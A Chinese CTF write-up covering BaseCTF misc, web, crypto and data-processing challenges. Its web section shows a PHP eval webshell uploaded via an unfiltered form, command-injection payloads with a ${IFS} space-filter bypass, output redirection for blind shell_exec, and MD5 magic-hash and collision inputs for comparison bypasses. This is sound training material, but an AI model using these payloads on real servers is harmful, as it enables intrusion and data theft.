11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
import hashlib
import string


def generate_md5_dict():
# 定义所有字符集,包括字母、数字和常见符号
chars = (
string.ascii_uppercase
+ string.ascii_lowercase
+ string.digits
+ "!\"#$%&'()*+,-./:;<=>?@[\\]_^`{|}~" # 常见符号
)

# 初始化一个空字典来存储结果
md5_dict = {}

# 遍历所有字符
for char in chars:
# 计算MD5哈希值
md5_hash = hashlib.md5(char.encode()).hexdigest()
# 将MD5哈希值和字符存入字典
md5_dict[md5_hash] = char

return md5_dict


# 生成字典
md5_dictionary = generate_md5_dict()

# 打印字典
for md5_value, character in md5_dictionary.items():
print(f"MD5: {md5_value} -> Character: {character}")

output = [
"9d5ed678fe57bcca610140957afab571",
"0cc175b9c0f1b6a831c399e269772661",
"03c7c0ace395d80182db07ae2c30f034",
"e1671797c52e15f763380b45e841ec32",
"0d61f8370cad1d412f80b84d143e1257",
"b9ece18c950afbfa6b0fdbfa4ff731d3",
"800618943025315f869e4e1f09471012",
"f95b70fdc3088560732a5ac135644506",
"0cc175b9c0f1b6a831c399e269772661",
"a87ff679a2f3e71d9181a67b7542122c",
"92eb5ffee6ae2fec3ad71c777531578f",
"8fa14cdd754f91cc6554c9e71929cce7",
"a87ff679a2f3e71d9181a67b7542122c",
"eccbc87e4b5ce2fe28308fd9f2a7baf3",
"0cc175b9c0f1b6a831c399e269772661",
"e4da3b7fbbce2345d7772b0674a318d5",
"336d5ebc5436534e61d16e63ddfca327",
"eccbc87e4b5ce2fe28308fd9f2a7baf3",
"8fa14cdd754f91cc6554c9e71929cce7",
"8fa14cdd754f91cc6554c9e71929cce7",
"45c48cce2e2d7fbdea1afc51c7c6ad26",
"336d5ebc5436534e61d16e63ddfca327",
"a87ff679a2f3e71d9181a67b7542122c",
"8f14e45fceea167a5a36dedd4bea2543",
"1679091c5a880faf6fb5e6087eb1b2dc",
"a87ff679a2f3e71d9181a67b7542122c",
"336d5ebc5436534e61d16e63ddfca327",
"92eb5ffee6ae2fec3ad71c777531578f",
"8277e0910d750195b448797616e091ad",
"0cc175b9c0f1b6a831c399e269772661",
"c81e728d9d4c2f636f067f89cc14862c",
"336d5ebc5436534e61d16e63ddfca327",
"0cc175b9c0f1b6a831c399e269772661",
"8fa14cdd754f91cc6554c9e71929cce7",
"c9f0f895fb98ab9159f51fd0297e236d",
"e1671797c52e15f763380b45e841ec32",
"e1671797c52e15f763380b45e841ec32",
"a87ff679a2f3e71d9181a67b7542122c",
"8277e0910d750195b448797616e091ad",
"92eb5ffee6ae2fec3ad71c777531578f",
"45c48cce2e2d7fbdea1afc51c7c6ad26",
"0cc175b9c0f1b6a831c399e269772661",
"c9f0f895fb98ab9159f51fd0297e236d",
"0cc175b9c0f1b6a831c399e269772661",
"cbb184dd8e05c9709e5dcaedaa0495cf",
]

result = ""

for item in output:
try:
result += md5_dictionary[item]
except KeyError:
print(item)
print(result)

print(result)

跑一下就出来了

二维码1-街头小广告

Naril 在街头见到地上有一张印有二维码的小广告,好像还被人踩了一脚

下载下来是个图片

很明显这里把二维码的定位框给遮住了,我们手动给它弄一个上去

扫出来结果是https://www.bilibili.com@qr.xinshi.fun/BV11k4y1X7Rj/mal1ci0us?flag=BaseCTF%7BQR_Code_1s_A_f0rM_Of_m3s5ag3%7D

拿去URL解码一下就有了

哇!珍德食泥鸭(未做出)

谐音梗扣钱!

flag藏哪了?仔细找找吧 可能就在眼前哦

下载下来一张gif图片,丢进010Editor里面发现后冗余数据,并且PK两个字符,让我猜测是zip文件

先用010Editor把这部分数据导出为zip,但是发现打开来目录结构又很像是docx

再把后缀改为docx,可以正常打开

但是文档里没有任何有效的信息,再次以zip格式打开这个文件,发现在word文件的媒体目录下还有一个文件

海上又遇了鲨鱼

怎么又看到网络鲨鱼了?!!

下载下来还是Wireshark包,但是这次是ftp协议

这里用Wireshark会方便一点,我们现在上面的搜索框搜索ftp || ftp-data来过滤我们需要的ftp数据包,然后选择protocol写着FTP-DATA的包,右键它选择追踪

在弹出的窗口中,选择原始数据,然后另存为文件

出来的zip文件有密码,说明我们得回去wireshark里面找

回到wireshark,找一找有没有密码相关的内容,找到ftp用户登录的密码为Ba3eBa3e!@#,拿去解压一下zip,发现是正确的,就得到flag了

黑丝上的flag

关注VY-netcat喵, star关注VY-netcat谢谢喵

嗯,下载下来是个图片,确实是黑丝……

然而调下亮度就出来了,没啥技术含量

另:其实只要你眼里够好,盯帧也能看出来

Aura 酱的旅行日记 <图寻擂台>

Aura 酱来旅游啦, 快来看看他到了什么地方吧

答案请使用如下格式 BaseCTF{XX省XX市XX区XX路XX号}

一血获得者可以抢占擂台, 成为第二次图寻题的出题人, 我们可能会通过邮箱联系你

一血是不可能一血的,怎么抢得过那些手速快的哦~

这题目提供的图片……我怎么这么熟…… 本来以为是省博,但是不对

百度识图一下,发现就可以找到跟题目给的图很像的布局的博物馆

从地图搜索一下,就可以得知它的地址是成都市成华区成华大道十里店路88号,成都位于四川,所以最终结果为BaseCTF{四川省成都市成华区成华大道十里店路88号}

前辈什么的最喜欢了

下载下来是个base64编码后的图片文本

丢去转为图片,发现打不开,用010Editor打开查找BaseCTF可以找到flag内容

Web

HTTP 是什么呀

成为嘿客的第一步!当然是 HTTP 啦!
可以多使用搜索引擎搜索每个参数的含义以及传参方式

💡 看看你是怎么到达最后一个页面的,中途是不是经过了什么?

打开网页后有如下要求

  • GET参数basectf=we1c%00me
  • POST参数Base=fl@g
  • Cookie传入c00k13=i can't eat it
  • User-Agent传入Base
  • Referer传入Base
  • IPX-Forwarded-For传入127.0.0.1

一切用Hackbar就可以搞定,但是GET的那个百分号要转义一下

来到这个页面没有flag,但是提示已经告诉我们了中间有一个页面,我们看到Network选项卡可以看到有个重定向里面有flag

把他提供的内容拿去base64解码一下就有了

喵喵喵´•ﻌ•`

小明在学习PHP的过程中发现,原来php也可以执行系统的命令,于是开始疯狂学习…..

进来以后是PHP源码

1
2
3
4
5
6
7
8
9
<?php
highlight_file(__FILE__);
error_reporting(0);

$a = $_GET['DT'];

eval($a);

?>

很明显了就是RCE,我们尝试传入phpinfo();验证了我们的猜想

但是我传入了exec("ls")shell_exec("ls")都没反应,可能是服务器把这两个函数禁用了 这两个函数是没有输出的,要加print,但是我发现了用system("ls")可以,我就用来找flag的位置了

找到了,cat出来就有了

md5绕过欸

绕哇绕哇绕

打开了还是PHP源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
highlight_file(__FILE__);
error_reporting(0);
require 'flag.php';

if (isset($_GET['name']) && isset($_POST['password']) && isset($_GET['name2']) && isset($_POST['password2']) ){
$name = $_GET['name'];
$name2 = $_GET['name2'];
$password = $_POST['password'];
$password2 = $_POST['password2'];
if ($name != $password && md5($name) == md5($password)){
if ($name2 !== $password2 && md5($name2) === md5($password2)){
echo $flag;
}
else{
echo "再看看啊,马上绕过嘞!";
}
}
else {
echo "错啦错啦";
}

}
else {
echo '没看到参数呐';
}
?>

这里要求我们GET参数namename2,POST内容passwordpassword2

namepassword不相等并且name的md5值与password的md5值相等

这里出现了四种PHP运算符:

  • != 不等运算符,会进行类型转换,然后比较两个变量的值是否不等
  • == 相等运算符,会进行类型转换,然后比较两个变量的值是否相等
  • !== 不全等运算符,不会进行类型转换,当类型不一致或者类型一致但是值不一致的时候返回True
  • === 全等运算符,不会进行类型转换,当类型一致且值一致的时候返回True

不等/相等绕过

这题第一个条件$name != $password && md5($name) == md5($password),前半很好满足,后半看似要找两个md5值相同的内容,但其实不是

我们上面说了,==会进行强制类型转换,而如果我们这个时候的md5值的头部是0e会怎么样呢?会显示为科学计数法0exxxxxxx,被PHP认为是数字,而这个数字非常地小,所以转换后结果为0,实现绕过

所以我们可以传入name=QNKCDZOpassword=240610708,这样分别对应了0e8304004519934940580242199033910e462097431906509019562988736854就绕过了第一层

附:抄过来的md5以0e开头的常见字符串

  • QNKCDZO
    0e830400451993494058024219903391
  • 240610708
    0e462097431906509019562988736854
  • s878926199a
    0e545993274517709034328855841020
  • s155964671a
    0e342768416822451524974117254469
  • s214587387a
    0e848240448830537924465865611904
  • s214587387a
    0e848240448830537924465865611904
  • s878926199a
    0e545993274517709034328855841020
  • s1091221200a
    0e940624217856561557816327384675
  • s1885207154a
    0e509367213418206700842008763514
  • s1502113478a
    0e861580163291561247404381396064
  • s1885207154a
    0e509367213418206700842008763514
  • s1836677006a
    0e481036490867661113260034900752
  • s155964671a
    0e342768416822451524974117254469
  • s1184209335a
    0e072485820392773389523109082030
  • s1665632922a
    0e731198061491163073197128363787
  • s1502113478a
    0e861580163291561247404381396064
  • s1836677006a
    0e481036490867661113260034900752
  • s1091221200a
    0e940624217856561557816327384675
  • s155964671a
    0e342768416822451524974117254469
  • s1502113478a
    0e861580163291561247404381396064
  • s155964671a
    0e342768416822451524974117254469
  • s1665632922a
    0e731198061491163073197128363787
  • s155964671a
    0e342768416822451524974117254469
  • s1091221200a
    0e940624217856561557816327384675
  • s1836677006a
    0e481036490867661113260034900752
  • s1885207154a
    0e509367213418206700842008763514
  • s532378020a
    0e220463095855511507588041205815
  • s878926199a
    0e545993274517709034328855841020
  • s1091221200a
    0e940624217856561557816327384675
  • s214587387a
    0e848240448830537924465865611904
  • s1502113478a
    0e861580163291561247404381396064
  • s1091221200a
    0e940624217856561557816327384675
  • s1665632922a
    0e731198061491163073197128363787
  • s1885207154a
    0e509367213418206700842008763514
  • s1836677006a
    0e481036490867661113260034900752
  • s1665632922a
    0e731198061491163073197128363787
  • s878926199a
    0e545993274517709034328855841020

不全等/全等绕过

这个就得真的用两个内容不一样,但是md5值一样的字符串了,我们用一个碰撞器来弄到我们要的东西

Fastcoll: https://github.com/AndSonder/fastcoll/blob/master/README.md

我先写了一个文件叫做HelloWorld.txt,里面的内容就是为空(其实文件里面也可以放东西,但是可能计算时间会久一点),然后用这个软件来帮我碰撞

1
./fastcoll_v1.0.0.5.exe -p HelloWorld.txt -o hw1.txt hw2.txt

因为输出的文件很多不可见字符,我们要对所有的字符进行URL编码后再发送,我用了PHP来做这个事情,因为Python死活读不到文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php 
function readmyfile($path){
$fh = fopen($path, "rb");
$data = fread($fh, filesize($path));
fclose($fh);
return $data;
}
echo '二进制md5加密 '. md5( (readmyfile("hw1.txt")));
echo "</br>";
echo 'url编码 '. urlencode(readmyfile("hw1.txt"));
echo "</br>";
echo '二进制md5加密 '.md5( (readmyfile("hw2.txt")));
echo "</br>";
echo 'url编码 '. urlencode(readmyfile("hw2.txt"));
echo "</br>";

放到我的PHPStudy环境,访问就可以得到了

1
2
3
4
5
二进制md5加密 f2038bd4ac2833e87fd0ad8b5261c9ff
url编码 %F3L%27sZ%AF%89fS%F7%A7g-%9E2My%9AT%8Bbrs%07%19%CA8%FD%17%1A%BA%FD%BA%AB%03%EE%DCc%E8Zo%BC%F5a%EB%9D%1AO%A2%ECB%E0%83W%84%DB%C3%7C%0BKK8%DA%3D%3F%5C%D2%0A%02%5E%AE%0B%BF%C8%9AE%26%89%2FW%AFuY%60t%9B%01%E2%AD%C3%10P%9B_H%A8%CF%7D%18%24%9F%06%93%3C5%3F%C4%3Ah+%EE%D4%86%B6%F4%5E%40%19%C4%80%91%82%FB%A2%D9h%C7%40

二进制md5加密 f2038bd4ac2833e87fd0ad8b5261c9ff
url编码 %F3L%27sZ%AF%89fS%F7%A7g-%9E2My%9AT%0Bbrs%07%19%CA8%FD%17%1A%BA%FD%BA%AB%03%EE%DCc%E8Zo%BC%F5a%EB%1D%1BO%A2%ECB%E0%83W%84%DB%C3%7C%0B%CBK8%DA%3D%3F%5C%D2%0A%02%5E%AE%0B%BF%C8%9AE%26%89%2FW%AFuY%E0t%9B%01%E2%AD%C3%10P%9B_H%A8%CF%7D%18%24%9F%06%93%3C5%3F%C4%3Ah%A0%ED%D4%86%B6%F4%5E%40%19%C4%80%91%82%FB%22%D9h%C7%40

然后把两个url编码放到hackbar里,进行POST请求,本来就可以得到flag了,结果!!!

不对啊!!!思路是正确的为啥出不来,没办法自己搞不定就去问人了

然后我打开了我的Burpsuite,再发送一下我的请求,然后就可以了

这波Hackbar背大锅

补充:md5全等绕过的第二种做法

传入name2[]=1password2[]=3(数字随意)也可以绕过,因为md5传入数组的时候,返回结果都是null

A Dark Room

文字游戏 玩得开心!

打开来是个网页,我一开始以为真的要从文字游戏里面找线索,结果一按F12

好吧,这就得到flag了

upload

快来上传你最喜欢的照片吧~ 等下,这个 php 后缀的照片是什么?

这里提示我们了是文件上传没有进行严格的过滤而导致的漏洞,我们直接生成一个webshell,我这里用的是哥斯拉

生成了一个webshell.php文件,内容如下

1
2
<?php
eval($_POST["pass"]);

上传后可以看到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
error_reporting(0);
if (isset($_FILES['file'])) {
highlight_file(__FILE__);
$file = $_FILES['file'];
$filename = $file['name'];
$filetype = $file['type'];
$filesize = $file['size'];
$filetmp = $file['tmp_name'];
$fileerror = $file['error'];

if ($fileerror === 0) {
$destination = 'uploads/' . $filename;
move_uploaded_file($filetmp, $destination);
echo 'File uploaded successfully';
} else {
echo 'Error uploading file';
}
}
?>
<!DOCTYPE html>
<html lang="en">

<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>上传你喜欢的图片吧!</title>
</head>

<body>
<form action="" method="post" enctype="multipart/form-data">
<input type="file" name="file">
<button type="submit">上传!</button>
</form>
<?php
$files = scandir('uploads');
foreach ($files as $file) {
if ($file === '.' || $file === '..') {
continue;
}
echo "<img src='uploads/$file' style=\"max-height: 200px;\" />";
}
?>
</body>

</html>

发现上传后的文件在uploads文件夹里,且没有被改名字,直接打开蚁剑进行连接

可以在根目录下找到flag文件,打开就能看到flag了

一起吃豆豆

进来是个吃豆人游戏,但是看了一下js,发现有11关,那当然不可能让你把十一关都打完啦

第一种做法:修改通关条件

在js中,我找到了判断通关的条件,我把其中的小于号改为大于号,即场内有豆子即判定为通关

然后就达到了跳关的目的,拿到了Flag

第二种做法:直接找到通关信息

搜索“结束”这个关键词,可以看到结束页面的信息

把结束页面经过Base64编码的消息拿去解码就可以得到flag了

你听不到我的声音

我要执行 shell 指令啦! 诶? 他的输出是什么? 为什么不给我?

进来是PHP源码

1
2
3
<?php
highlight_file(__FILE__);
shell_exec($_POST['cmd']);

因为shell_exec是没有回显的,所以我们在这里运行shell命令就跟题目描述一样不给输出,我们可以用输出到文件的方式来得到我们的输出

我们先传入cmd=find / -iname "flag" > output.txt,通过>来把输出写到output.txt里面去,我们再去访问output.txt

于是我们知道了flag在/flag文件内,再给它读出来,就成功拿到flag了

数学大师

Kengwang 的数学特别差, 他的计算器坏掉了, 你能快速帮他完成数学计算题吗?

每一道题目需要在 5 秒内解出, 传入到 $_POST['answer'] 中, 解出 50 道即可, 除法取整

说白了就是写脚本,写个脚本算出来然后提交就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import httpx

client = httpx.Client()
url = "http://challenge.basectf.fun:30394/"

response = client.get(url)
print(response.text)
formula = response.text.split(" ")[-1].replace("?", "").replace("×", "*").replace("÷", "//")

while True:
response = client.post(
url,
data={
"answer": eval(formula)
}
)
formula = response.text.split(" ")[-1].replace("?", "").replace("×", "*").replace("÷", "//")
if "{" in response.text and "}" in response.text:
print(response.text)
break
else:
print(response.text)

RCEisamazingwithspace

RCEisreallingamazingwithoutaspacesoyoushouldfindoutawaytoreplacespace

说人话就是禁用了空格,从代码也能看出来

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
$cmd = $_POST['cmd'];
// check if space is present in the command
// use of preg_match to check if space is present in the command
if (preg_match('/\s/', $cmd)) {
echo 'Space not allowed in command';
exit;
}

// execute the command
system($cmd);

这里就要涉及到RCE的空格过滤绕过了,我们用到${IFS}来充当空格,因为这个变量在Linux系统里面默认指向空格(可参考下图GPT的解释)

所以就可以构建出下面这样的payload来搜索flag的位置

然后把它cat出来就可以了,cat这里我用的是第二种表示方法,即$IFS$9

Crypto

helloCrypto

第一步,装好python;第二步,学会装库。

附件是Python代码,直接反着来就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from Crypto.Util.number import long_to_bytes
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

# 已知的 key 和 ciphertext
key1 = 208797759953288399620324890930572736628
ciphertext = b'U\xcd\xf3\xb1 r\xa1\x8e\x88\x92Sf\x8a`Sk],\xa3(i\xcd\x11\xd0D\x1edd\x16[&\x92@^\xfc\xa9(\xee\xfd\xfb\x07\x7f:\x9b\x88\xfe{\xae'

# 将 key1 转换为字节
key = long_to_bytes(key1)

# 创建 AES 解密器
my_aes = AES.new(key=key, mode=AES.MODE_ECB)

# 解密并取消填充
plaintext = unpad(my_aes.decrypt(ciphertext), AES.block_size)

# 输出解密后的明文
print(plaintext.decode())

ez_rsa

下载下来还是Python代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from Crypto.Util.number import *
import gmpy2
m=bytes_to_long(b'BaseCTF{th1s_is_fake_fl4g}')
e=65537
p=getPrime(512)
q=getPrime(512)
n=p*q
not_phi=(p+2)*(q+2)
c=pow(m,e,n)

print(n)
print(not_phi)
print(c)


'''
96557532552764825748472768984579682122986562613246880628804186193992067825769559200526147636851266716823209928173635593695093547063827866240583007222790344897976690691139671461342896437428086142262969360560293350630096355947291129943172939923835317907954465556018515239228081131167407674558849860647237317421
96557532552764825748472768984579682122986562613246880628804186193992067825769559200526147636851266716823209928173635593695093547063827866240583007222790384900615665394180812810697286554008262030049280213663390855887077502992804805794388166197820395507600028816810471093163466639673142482751115353389655533205
37077223015399348092851894372646658604740267343644217689655405286963638119001805842457783136228509659145024536105346167019011411567936952592106648947994192469223516127472421779354488529147931251709280386948262922098480060585438392212246591935850115718989480740299246709231437138646467532794139869741318202945
'''

题目里特意告诉你那个是not_phi,然而我们可以算出phi_n

所以我们可以得到

然后写成代码就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from Crypto.Util.number import long_to_bytes
from sympy import mod_inverse

e = 65537
n = 96557532552764825748472768984579682122986562613246880628804186193992067825769559200526147636851266716823209928173635593695093547063827866240583007222790344897976690691139671461342896437428086142262969360560293350630096355947291129943172939923835317907954465556018515239228081131167407674558849860647237317421
not_phi = 96557532552764825748472768984579682122986562613246880628804186193992067825769559200526147636851266716823209928173635593695093547063827866240583007222790384900615665394180812810697286554008262030049280213663390855887077502992804805794388166197820395507600028816810471093163466639673142482751115353389655533205
c = 37077223015399348092851894372646658604740267343644217689655405286963638119001805842457783136228509659145024536105346167019011411567936952592106648947994192469223516127472421779354488529147931251709280386948262922098480060585438392212246591935850115718989480740299246709231437138646467532794139869741318202945

# 计算 φ(n)
phi_n = (3 * n - not_phi + 6) // 2
print("φ(n):", phi_n)

# 计算私钥 d
d = mod_inverse(e, phi_n)

if d:
# 解密消息
m = pow(c, d, n)

# 将解密后的长整型数转换为字节
flag_bytes = long_to_bytes(m)
print("解密后的消息:", flag_bytes.decode())
else:
print("无法计算私钥 d。")

PPC (Practical Programming and Coding)

BaseCTF 崩啦 - 导言

本题为系列题目, 请按照题目名称中顺序进行解答获得最佳体验


悲报~ BaseCTF 崩溃啦!

7w 条提交记录, 服务器顶不住计算排行榜的压力, 崩溃啦!

Kengwang 拼尽全力抢救下来了数据和日志, 他悬赏了几个 Flag, 找到人能够对这些数据进行处理.

此题目为导言题, 请下载附件, 阅读其中的 readme.txt, 系列题目的附件不变动

数据处理

刚好导言没有什么要求,我们先过一遍数据,因为如果从json中去搜索数据的话太慢了,所以我这里用了sqlite来搜索数据,也同时利用SQL的高效性

我写了一个Python脚本来帮我进行数据的处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
import sqlite3
import json
import re
from tqdm import tqdm
from datetime import datetime, timezone, timedelta

# Create database file
with open("data.db", "w", encoding="utf8") as f:
pass


def time2ts(TIME_STRING: str) -> int:
"""
This is a function that can convert the time expression to timestamp

Parameter:
TIME_STRING(str): The time string

Returns:
int: The timestamp of the time string
"""
time_str = TIME_STRING
# Transfer timestring to datetime format time
dt = datetime.fromisoformat(time_str)
# Change time to UTC
timestamp = dt.timestamp()
return timestamp


def time2tsFromSubmission(TIME_STRING: str) -> int:
# Transfet to datetime object
dt_naive = datetime.strptime(TIME_STRING, "%Y/%m/%d %H:%M:%S")

# Process timezone information
timezone_offset = timedelta(hours=8) # +08:00 UTC+8
dt_with_timezone = dt_naive.replace(tzinfo=timezone(timezone_offset))

# Change to timestamp
timestamp = dt_with_timezone.timestamp()
return timestamp


# Create database connection
conn = sqlite3.connect("data.db")


def importChallenges(challengeFilePath: str) -> None:
# Create challenges table
# id(PRIMARY), name, point, endat
command = "CREATE TABLE challenges (id TEXT PRIMARY KEY, name TEXT, point INTEGER, endat TEXT);"
cursor = conn.cursor()
cursor.execute(command)
conn.commit()

# Read challenges from file
with open(challengeFilePath, "r", encoding="utf8") as f:
challenges = json.loads(f.read())

# Insert challenges one by one
for challenge in tqdm(challenges):
challengeId = challenge["Id"]
challengeName = challenge["Name"]
challengePoints = challenge["Points"]
challengeEndAt = time2ts(challenge["EndAt"])
command = "INSERT INTO challenges (id, name, point, endat) VALUES (?, ?, ?, ?)"
cursor.execute(
command, (challengeId, challengeName, challengePoints, challengeEndAt)
)
conn.commit()


def importFlags(flagFilePath: str) -> None:
# Create flags table
# flag(PRIMARY), teamId, challengeId
command = (
"CREATE TABLE flags (flag TEXT PRIMARY KEY, teamId TEXT, challengeId TEXT)"
)
cursor = conn.cursor()
cursor.execute(command)
conn.commit()

# Read flags from file
with open(flagFilePath, "r", encoding="utf8") as f:
flags = json.loads(f.read())

# Insert flags on by one
for flag in tqdm(flags):
flagContent = flag["Flag"]
flagTeam = flag["TeamId"]
flagChallenge = flag["ChallengeId"]
command = "INSERT INTO flags (flag, teamId, challengeId) VALUES (?, ?, ?)"
cursor.execute(command, (flagContent, flagTeam, flagChallenge))
conn.commit()


def importSubmissions(submissionFilePath: str) -> None:
# Create submission table
# team, challenge, flag, who, ip, time
command = "CREATE TABLE submissions (team TEXT, challenge TEXT, flag TEXT, who TEXT, ip TEXT, time INGETER)"
cursor = conn.cursor()
cursor.execute(command)
conn.commit()

# Read submission from file
with open("submissions.log", "r", encoding="utf8") as f:
lines = f.readlines()

# Extract data from line and insert into database
# [2024/8/31 15:12:50 +08:00 INF] FlagChecker: 队伍 [Aida Bartoletti] 提交题目 [[Week2] ez_crypto] 的答案 [BaseCTF{400e0fde-cc12-3cf8-fbfd-32ae7bfd60e6}] <Merl.Smitham39> @ 108.237.78.233
for line in tqdm(lines):
# Extract time
time = re.search(
r"\[\d{4}/\d{1,2}/\d{1,2} \d{1,2}:\d{1,2}:\d{1,2} \+\d{2}:\d{2} INF\]", line
)
time = time.group().strip("[]") if time else ""
time = time2tsFromSubmission(time.replace(" +08:00 INF", ""))
# Extract team name
team = re.search(r"队伍 \[(.+?)\]", line)
team = team.group(1) if team else ""
# Extract challenge name
challenge = re.search(r"题目 \[\[Week\d\](.+?)\]", line)
week = re.findall(r"\[Week\d\]", line)[0]
challenge = week + " " + challenge.group(1).strip() if challenge else ""
# Extract flag
flag = re.search(r"BaseCTF\{[^\}]+\}", line)
flag = flag.group() if flag else ""
# Extract who submit the flag
who = re.search(r"<([^<>]+)> @ \d+\.\d+\.\d+\.\d+$", line)
who = who.group(1) if who else ""
# Extract the ip address
ip = re.search(r" @ (\d+\.\d+\.\d+\.\d+)", line)
ip = ip.group(1) if ip else ""
command = "INSERT INTO submissions (team, challenge, flag, who, ip, time) VALUES (?, ?, ?, ?, ?, ?)"
cursor.execute(command, (team, challenge, flag, who, ip, time))
conn.commit()


def importTeamsAndUsers(teamsFilePath: str) -> None:
# Create teams table
# id(PRIMARY), name, member1, member2
command = "CREATE TABLE teams (id TEXT PRIMARY KEY, name TEXT, member1 TEXT, member2 TEXT)"
cursor = conn.cursor()
cursor.execute(command)
command = "CREATE TABLE users (id TEXT PRIMARY KEY, name TEXT)"
cursor.execute(command)
conn.commit()

# Read teams from file
with open(teamsFilePath, "r", encoding="utf8") as f:
teams = json.loads(f.read())

# Insert team data into database
for team in tqdm(teams):
teamId = team["Id"]
teamName = team["Name"]
member1 = team["Members"][0]["Id"]
member2 = None
command = "INSERT INTO users (id, name) VALUES (?, ?)"
cursor.execute(
command, (team["Members"][0]["Id"], team["Members"][0]["UserName"])
)
if len(team["Members"]) == 2:
member2 = team["Members"][1]["Id"]
cursor.execute(
command, (team["Members"][1]["Id"], team["Members"][1]["UserName"])
)
command = "INSERT INTO teams (id, name, member1, member2) VALUES (?, ?, ?, ?)"
cursor.execute(command, (teamId, teamName, member1, member2))
conn.commit()


if __name__ == "__main__":
importChallenges("challenges.json")
importFlags("flags.json")
importSubmissions("submission.log")
importTeamsAndUsers("teams.json")

经过了大约40分钟,数据就成功导入到sqlite数据库了

BaseCTF 崩啦 II - 过期了?

Damien Schroeder 队的队长反映为什么他提交正确后却没有总分增加? 一定是过了截止时间了! 看看他有哪些题目是在截止时间后提交的吧.

请获取到他们所有在截止时间后提交的题目的 Id, 按照提交顺序进行排序, 将这些 ID 用西文逗号进行拼接, 计算其 MD5 得到值

Flag 格式: BaseCTF{计算得到的 MD5}

用Python写一个脚本即可,但是要注意按照提交时间排序

因为所有的题目的截止时间是一样的,所以直接按照一个题目的时间算就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import sqlite3
import hashlib

# Create sqlite3 connection
conn = sqlite3.connect("data.db")


def getChallengeExpireTimeFromName(challenge: str) -> int:
# Function for getting expire time of the challenge
cursor = conn.cursor()
command = "SELECT endat FROM challenges WHERE name=?"
cursor.execute(command, (challenge,))
time = int(cursor.fetchone()[0].replace(".0", ""))
return time


def getTeamSubmissionsFromTeamName(team_name: str) -> list:
# Function for getting submission of the team
cursor = conn.cursor()
command = "SELECT time, challenge FROM submissions WHERE team=?"
cursor.execute(command, (team_name,))
submission_list = cursor.fetchall()
return submission_list


def getChallengeIdFromName(challenge_name: str) -> str:
# Function for getting challengeId from name
cursor = conn.cursor()
command = "SELECT id FROM challenges WHERE name=?"
cursor.execute(command, (challenge_name,))
challenge_id = cursor.fetchone()[0]
return challenge_id


if __name__ == "__main__":
# All the expire time are the same, so use one as all
expire_time = getChallengeExpireTimeFromName("[Week3] ez_log")
submission_list = getTeamSubmissionsFromTeamName("Damien Schroeder")
# Get all expired challenges
expired_challenge_list = []
submission_list.sort(key=lambda x: x[0]) # Sort by submit time
for submission in submission_list:
if submission[0] > expire_time:
print(submission[0], expire_time, submission[1])
expired_challenge_list.append(submission[1])
# Get all ids of expired challenges
expired_challenge_id_list = []
for challenge in expired_challenge_list:
expired_challenge_id_list.append(getChallengeIdFromName(challenge))
# Connect all the challenge ids with comma
expired_challenge_id_string = ""
for challenge_id in expired_challenge_id_list:
if expired_challenge_id_string == "":
expired_challenge_id_string += challenge_id
else:
expired_challenge_id_string += "," + challenge_id
# Calculate MD5
result = hashlib.md5(expired_challenge_id_string.encode()).hexdigest()
print(f"BaseCTF\{{result}\}")

BaseCTF 崩啦 III - 帮我查查队伍的解题

该系列后面的题目我放下面,因为没什么时间做了,就没有题解了

Jailyn32: 你好, 我是 Rick Hyatt 队伍的队长, 你能帮我看看我们队伍现在还有哪些题目没有解出吗?

急急急急急急! 他们队伍有哪些题目没有解出呢?

请获取到他们所有没有做对和解出的题目的 Id, 按照题目 json 原本的顺序进行排序, 将这些 ID 用西文逗号进行拼接, 计算其 MD5 得到值

Flag 格式: BaseCTF{计算得到的 MD5}

BaseCTF 崩啦 IV - 排排坐吃果果

越来越多的人来查询了,我们还是放一个排行榜出来吧

你需要对所有有效队伍的提交分数加和,按照分数从大到小排序(同分按照队伍名称字母顺序(ASCII从小到大)排序)。规定前三血 不 额外加分。可能存在得零分的队伍,这些队伍 也要 出现在结果中。

排序完成后按照 队伍名,分数;队伍名,分数;队伍名,分数;...... 拼接,最后一个队伍分数后面不加分号,计算拼接好后的 md5 (小写)。

Flag 为: BaseCTF{小写的md5结果}

BaseCTF 崩啦 V - 正义执行!

什么, 有队伍竟然在明目张胆的作弊 (提交其他队伍 Flag), 看我正义执行, 两个队伍都 ban 掉!

请找出所有未参与作弊的队伍, 将他们的队伍名字按照字典序排列, 使用西文逗号分割, 计算其 MD5 (全小写)

